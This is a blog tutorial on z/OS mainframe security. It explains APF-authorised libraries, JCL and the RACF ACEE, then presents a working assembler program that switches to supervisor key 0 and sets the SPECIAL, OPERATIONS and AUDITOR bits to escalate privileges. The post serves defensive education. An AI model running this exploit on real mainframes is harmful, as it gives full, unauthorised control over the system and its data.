Binary Exploitation for SPECIAL Occasions: Privilege Escalation in z/OS

by Alex Gassem


While security on mainframes has become more well-documented for enthusiasts in recent years, there is still a lack of end-to-end explanations that tie together the different key concepts in mainframe security in a digestible way. The following post is intended to serve as a starting point for anyone interested in mainframe security so they can learn about low-level memory and binary exploit development. 

Authorised vs. Unauthorised Programs

As part of the day-to-day operations of systems running on z/OS, certain programs require access to key system functions. These system functions are privileged and, if used by an inexperienced or malicious user, could lead to a severe violation of system availability or integrity.

z/OS uses the Authorised Program Facility (APF) to differentiate between APF-authorised programs that can access these key system functions, and unauthorised programs which cannot. APF-authorised programs must be stored in APF-authorised libraries, which are then defined in an APF list. The APF list for a given installation can be found in the System Display and Search Facility (SDSF) by entering the APF menu. An example of an APF list is shown below:

SDSF APF DISPLAY  S0W1     S0W1      EXT    92         LINE 1-40 (87)          
COMMAND INPUT ===>                                            SCROLL ===> PAGE
NP   DSNAME                  Seq VolSer Status   BlkSize Extent SMS LRecL DSOrg
     SYS1.LINKLIB              1 A4RES1 OK         32760      2 NO      0 PO   
     SYS1.SVCLIB               2 A4RES1 OK         32760      1 NO      0 PO   
     SYS1.SHASLNKE             3 A4RES1 OK         32760      1 NO      0 PO-E 
     SYS1.SIEAMIGE             4 A4RES1 OK         32760      1 NO      0 PO-E 
     SYS1.MIGLIB               5 A4RES1 OK         32760      1 NO      0 PO   
     SYS1.SERBLINK             6 A4RES1 OK         32760      1 NO      0 PO   
     SYS1.SIEALNKE             7 A4RES1 OK         32760      1 NO      0 PO-E

To edit the APF list, the extended MCS (EMCS) console can be used. This console allows users to issue MVS systems commands, and can be used to add or delete entries to and from the APF list. The EMCS console can be entered from TSO with the CONSOLE command, which will display a CONSOLE prompt rather than the usual READY prompt. Once in the console, the following commands can be used to add or delete a load library as an APF library respectively:

  • SETPROG APF,ADD,DSNAME=new-apf-library,VOLUME=volume
  • SETPROG APF,DELETE,DSNAME=old-apf-library,VOLUME=volume

Note that quotes should not be used around the data set name or the volume. If the change has been successful, a message similar to the one shown below should be displayed:



Once the changes have been made, the END command can be issued to exit the EMCS session. The changes can then be verified in SDSF in the APF menu where the FIND dataset-name command can be used to quickly filter the desired data set from the list.

To successfully execute the above SETPROG commands, they must be run from a console that is running with system authority (AUTH(SYS)) or higher. There may be additional restrictions due to the OPERCMDS class if the MVS.SETPROG profile exists, but this will vary from installation to installation.

The authorization level of a user’s console can be controlled by adding a profile matching the user’s RACF ID to the OPERCMDS class, and granting the user READ access to it. This is due to the console command defaulting the console’s name to the user’s RACF ID. For example, the default console profile for the ALEXGAS user ID would be MVS.MCSOPER.ALEXGAS.

Compiling an APF-authorised Program

Now let’s consider a scenario in which we as an attacker had obtained UPDATE access to an APF library and wanted to leverage this foothold to compile and run authorized code to escalate our privileges.

The first step would be to ensure that any programs we added to the library were able to access restricted system services. This can be done by setting their Authorization Code (AC) to a value between 1 and 255. A program with an AC of 0 will not be run as authorized. It is also worth noting that a non-zero AC code only takes effect when the program resides in an APF-authorized library. The current AC value of a program can be seen by inspecting the AC column in the output of the DSLIST command, as shown below:

   Menu  Functions  Confirm  Utilities  Help                                    
 VIEW              SYS1.LINKLIB                          Row 0000001 of 0004262
            Name     Prompt        Alias-of     Size      TTR     AC   AM   RM 
 _________ ABA                     ARCABA     00004140   021123   00    31   24 
 _________ ACCOUNT                 IKJEFA00   00001430   09C712   00    24   24 
 _________ AD                      IRRENV00   00055BB0   0A910C   01    31   24 
 _________ ADDGROUP                IRRENV00   00055BB0   0A910C   01    31   24 
 _________ ADDSD                   IRRENV00   00055BB0   0A910C   01    31   24 
 _________ ADDUSER                 IRRENV00   00055BB0   0A910C   01    31   24 
 _________ ADFGLUET                ADFMDF01   000003C8   00151B   00    31  ANY

Fortunately, there are several ways to mark an assembly program such that the binder will set AC(1). The binder processes the program’s object code and resolves its memory addresses to point to where the instructions and data are. This process is called linkage-editing, or link-editing.

A preferred method is to use the SETCODE binder command as shown in the following JCL which assembles and link-edits an assembly program as AC(1) in an APF-authorised library.

//* ASMACL procedure compiles and link-edits our program
//L.SYSIN    DD *

Due to the level of privileges it grants, it is recommended that programs are only compiled with AC(1) if it is absolutely necessary for them to run as authorized and use privileged system functions to complete their task. If APF libraries contain many different programs with AC(1) when not required, then it could result in the abuse of these programs to gain elevated access to system resources as we will discuss later.

Job Control Language Breakdown

Before demonstrating how an AC(1) compiled binary can be abused to achieve SPECIAL privileges on the system, it is first important to understand the JCL code used. The first line of any JCL is the job card, which defines general parameters for the job such as:

  • ASMCOMP: Job name (1-8 characters).
  • NOTIFY=&SYSUID: Where the job completion message should be sent.
    • &SYSUID: Variable that refers to the user ID under whose authority the job will run.
  • MSGLEVEL=(1,1): How much output to save to the SPOOL.
    • The first ‘1’ tells the system to print all statements.
    • The second ‘1’ tells the system to print all messages.
  • TIME=(0,20): The maximum time to allow for the job in minutes and seconds.

Within a job, programs and procedures are used to complete different operations. The use of these will be expanded on in more detail below.

After the job card, a series of steps are defined which will be run in succession. When defining a step, it is given a name (e.g: BUILD), as well as the program or procedure that is to be used in the job step (e.g: EXEC PROC=ASMACL).

Programs are specified using //stepname EXEC PGM=program. z/OS comes with programs called utilities that provide useful functionality such as IKJEFT01 (the TSO program), IEFBR14 (the ‘do almost nothing’ program), and IEWL (the binder program). It is sometimes necessary to specify a private library for the system to find the program by using a STEPLIB Data Definition statement (see below). This is required if the program is not located in the default system libraries (for example, a custom-written program is used for the job step).

On the other hand, procedures are similar to macros which can be used to expand a large amount of JCL without a user having to write it each time. They can be specified either using //stepname EXEC PROC=procedure or alternatively with //stepname EXEC procedure. The ASMACL procedure is used to assemble and link-edit an assembly program.

Data Definition (DD) Statements

If a program or procedure needs a data set for input or output, then each of the data sets required for the current step must be defined. These can be data sets that pass different kinds of input into the program, or data sets that store error dumps and general output from the program.

Data sets can be defined with Data Definition (DD) statements. These take the form of //dd-name DD parameters. While some programs use unique DD names, the following names are typically used by most programs:

  • SYSIN: Used for runtime program input.
  • SYSOUT: Destination for displayed data.
  • SYSPRINT: Destination for printed data.

Data sets are generally either defined to be sequential data sets (i.e: ‘files’), partitioned data sets (i.e: ‘folders’), in-stream data sets (i.e: STDIN in UNIX), or some output device like the spool. Different parameters are used to distinguish between these.

  1. In-stream data sets use the special * parameter to denote the beginning of the input stream as can be seen in the L.SYSIN DD statement, with /* acting as a delimiter to end the input stream.
  2. Sequential and partitioned data sets are defined using the DSN parameter. It is important to tell the system the status of the data set, as well as what actions should be taken if the step terminates abnormally or normally. This can be done with the disposition parameter that uses three sub parameters: DISP=(status, normal, abnormal). The data sets in the JCL excerpts already exist and may need to be used by other jobs, so the SHR (share) status was used. The default action taken for a pre-existing data set when the step terminates normally or abnormally is to KEEP it when those fields are omitted.
  3. On system initialization, several SYSOUT classes are defined and mapped to different output devices. SYSOUT=* requests that the same output class defined in the MSGCLASS parameter for the JOB statement is used, which is the spool in the above case.
Compile Step DD Statements

DD statements corresponding to the compilation step in the procedure are referred to with the C prefix. The source code is specified using C.SYSIN, while C.SYSLIB denotes the data sets which contain the definitions of different macros used in the assembly program.

LINK-EDIT Step DD Statements

The link-edit step has its DD statements referred to with the L prefix. The L.SYSLMOD DD statement describes where the program object should be stored. This must be a load library with RECFM=U, i.e: using records of undefined length. The L.SYSIN DD statement is used to pass binder control statements to set things such as the addressing mode or the authorisation code on the program object.


Now that we have gone over the JCL, let’s look at what needs to be done to gain SPECIAL privileges. The simplest way would be to use the ALTUSER command. This command can be used to assign different privileged attributes to a user such as SPECIAL, OPERATIONS, AUDITOR and ROAUDIT. However, the SPECIAL attribute is required to use these ALTUSER operands in the first place.

Alternatively, we can find which memory address is referenced to check SPECIAL authorisation, alter it, and then use the ALTUSER command to make the change permanent on our RACF profile. We need to still use the ALTUSER command as any changes that are made to memory during the program’s execution will be reset once the job finishes.

Accessor Environment Element

When a user attempts to use a command or access a certain resource, RACF references the accessor environment element (ACEE) to determine whether the user is authorised. This is a 192 byte block that contains a variety of security information, including the current user ID and group name.

The most relevant part is the user flag bitstring at offset 0x26 which uses a series of bits to determine the following settings for the user:

  • Bit 1: SPECIAL.
  • Bit 2: Automatic data security protection.
  • Bit 3: OPERATIONS.
  • Bit 4: AUDITOR.
  • Bit 5: Audit user actions.
  • Bit 6: ROAUDIT.
  • Bit 7: PRIVILEGED started procedure.
  • Bit 8: RACF-defined user.

Therefore, to get the most powerful combination of user flags, bits 1, 3, 4 and 8 should be flipped on to get the highest privilege possible.

Accessing the ACEE

The ACEE can be found by following pointers defined in other memory blocks that are used by the system. Since we cannot access the ACEE directly, we need to work backwards through the following memory areas:

• The Address Space Extension Block (ASXB) is a 776 byte block that contains information for address space control. Offset 0xC8 holds a pointer to the ACEE.

• The Address Space Control Block (ASCB) is a 384 byte block that contains similar address space information to the ASXB except it is non-swappable. Offset 0x6C contains a pointer to the ASXB.

• The Prefixed Save Area (PSA) is a 4096 byte block that contains storage locations for the processor starting at location 0x0. Offset 0x224 contains a pointer to the current ASCB.

Putting these pointers together:

Modifying the ACEE

Unfortunately, there is one final hurdle to cross before this exploit can be put into practice. Even if a program is authorised, it does not automatically allow for the ACEE to be modified. To do so, the executing program must be in key 0 where the ACEE resides, and run in the supervisor state.

Typically, programs will run in the problem state which provides access to most of the general-purpose instructions needed. However, a small set of privileged instructions called Supervisor Call instructions (SVCs) are only able to be used in the supervisor state.

There are sixteen storage access keys, and for keys 1-15, a program can only access the storage area that has a matching key. However, a program with key 0 can access all addressable storage. Fortunately, if a program is authorised it can easily switch to the supervisor state and to key 0 using a single macro instruction (MODESET).

Now that we have laid the foundation of what our program needs to do, the source code can be written. The code has been included below:

SUPER    CSECT                     # Mark as executable.
         STM   14,12,12(13)        # Store stack contents.
         BALR    12,0              # Establish addressability by
         USING   *,12              # storing base addr in base reg.
         MODESET KEY=ZERO,MODE=SUP # switch to supervisor mode and set the key value to 0
         L     5,X'224'            # go to ASCB
         L     5,X'6C'(5)          # go to ASXB
         L     5,X'C8'(5)          # go to ACEE
         NI    X'26'(5),X'00'      # clear ACEE user flags
         OI    X'26'(5),X'B1'      # flip for priv esc
         BR 14                     # return

The full details of each instruction can be read in the z/Assembly Principles of Operation. The program begins by initiating the executable control section for the subroutine with CSECT. It then stores the contents of the current save area (i.e: stack) and establishes a base register for the program.

The actual exploit begins with line 8 that uses the MODESET instruction to enter supervisor mode with data access key 0. The PSA begins at address 0x0, so to access the PSAAOLD pointer to the ASCB, the hex offset can simply be used as an absolute address which we load into register 5. Then, using register 5 as a base register, we add 0x6C to get the offset for the ASCBASXB pointer to the ASXB block that is written into register 5 again. Finally, the same method is used to add 0xC8 resulting in the offset for the ASXBSENV pointer to the ACEE block, loading this address into register 5.

The user flags are reset by doing a bitwise AND operation over the bitstring located at offset 0x26 (from the address in register 5) with a series of binary 0s, before flipping bits 1, 3, 4 and 8 using a bitwise OR operation. This corresponds to the byte 0x10110001 which in hex can be represented by 0xB1.To finish the routine, control is passed back to the caller by branching to the instruction in register 14.

Testing the Exploit

To test the exploit, the following JCL was used:


The first step assigns SPECIAL and OPERATIONS to our user ID. We should receive an error message which informs us that we are unauthorised to use those operands. In the subsequent step we run our exploit, making sure we include the APF authorised library where it was compiled in the STEPLIB so that the system can find it. Finally, we run the same TSO command to give our user higher privileges in RACF. In this step we use COND=EVEN to indicate that the step should be executed even if the previous step ABENDs due to our modifications of memory.

After running the JCL, the following output was shown for the TESTSTEP:

 ALU ALEXGAS SPECIAL OPERATIONS                                              

The system informs us that it could not complete the operation due to lack of authorisation on the part of our user. On the other hand, for the PRIVESC step, the command completes successfully with no error message as shown below:

 ALU ALEXGAS SPECIAL OPERATIONS                                              

The successful privilege escalation can be verified by listing our user in TSO:


Non-APF Authorised Version

Let’s say the same code was run in a non-APF authorised library, what would the result look like?

Firstly, it is worth noting that it is possible to compile programs with AC(1) and place them in a non-APF authorised library. This can be confirmed with the below extract:

VIEW              ALEXGAS.MYLIBS.NOAPFLIB               Row 0000001 of 0000004
            Name     Prompt        Alias-of     Size      TTR     AC   AM   RM 
 _________ SUPER                              00000028   000329   01    24   24 

However, it will not run authorised since the program is not in an APF-authorised library. If we run the same JCL as before but with the version of the program in the non-APF authorised library, there are two main differences. The first is that the batch job ABENDs, and the second is that the output received for the final step is as follows:

 ALU ALEXGAS SPECIAL OPERATIONS                                              

This shows that the program to flip the user flags in ACEE did not successfully complete. To gain some more insight, we can look at the logs in the spool where we find the following register dump:

IEA995I SYMPTOM DUMP OUTPUT                                          
SYSTEM COMPLETION CODE=047                                           
 TIME=06.03.19  SEQ=01397  CPU=0000  ASID=001B                       
 PSW AT TIME OF ERROR  078D0000   00007FE4  ILC 2  INTC 6B           
   ACTIVE MODULE           ADDRESS=00000000_00007FD8  OFFSET=0000000C
   DATA AT PSW  00007FDE - A718003C  0A6B5850  02245855              
   GR 0: 00000064   1: 0000003C                                      
      2: 00000040   3: 008DBD64                                      
      4: 008DBD40   5: 008F81A0                                      
      6: 008CAFC8   7: 00F51D00                                      
      8: 008FE830   9: 008F83E8                                      
      A: 01D83600   B: 00000001                                      
      C: 40007FDE   D: 00006F60                                      
      E: 80FD4608   F: 00007FD8                                      
 END OF SYMPTOM DUMP                                                                   

Our program, SUPER, ABENDed with system code 047. Referring to IBM’s documentation, we see that this is raised if “an unauthorised program issued a restricted Supervisor Call (SVC) instruction”. Therefore, it is clear that under normal circumstances, authorised code must reside in an APF-authorised library even if it can be successfully compiled with AC(1).


This blogpost has hopefully shown why APF-authorised libraries are extremely sensitive data sets. Excessive UPDATE or CONTROL access can result in the compromise of the mainframe as a whole by leveraging the techniques shown above. Other attack vectors exist which attackers can leverage to elevate their privileges, such as programs that support custom exits being placed in the AUTHTSF table, but these are out of scope for this introduction.

Related content

The Hidden Depths of Mainframe Application Testing: More Than (Green) Screen-Deep

This blog post provides an overview of some common mainframe application vulnerabilities that we have observed during client engagements. It describes how these vulnerabilities often have unexpected implications. Then further highlights the importance of properly structured in-depth mainframe application security assessments.

Read more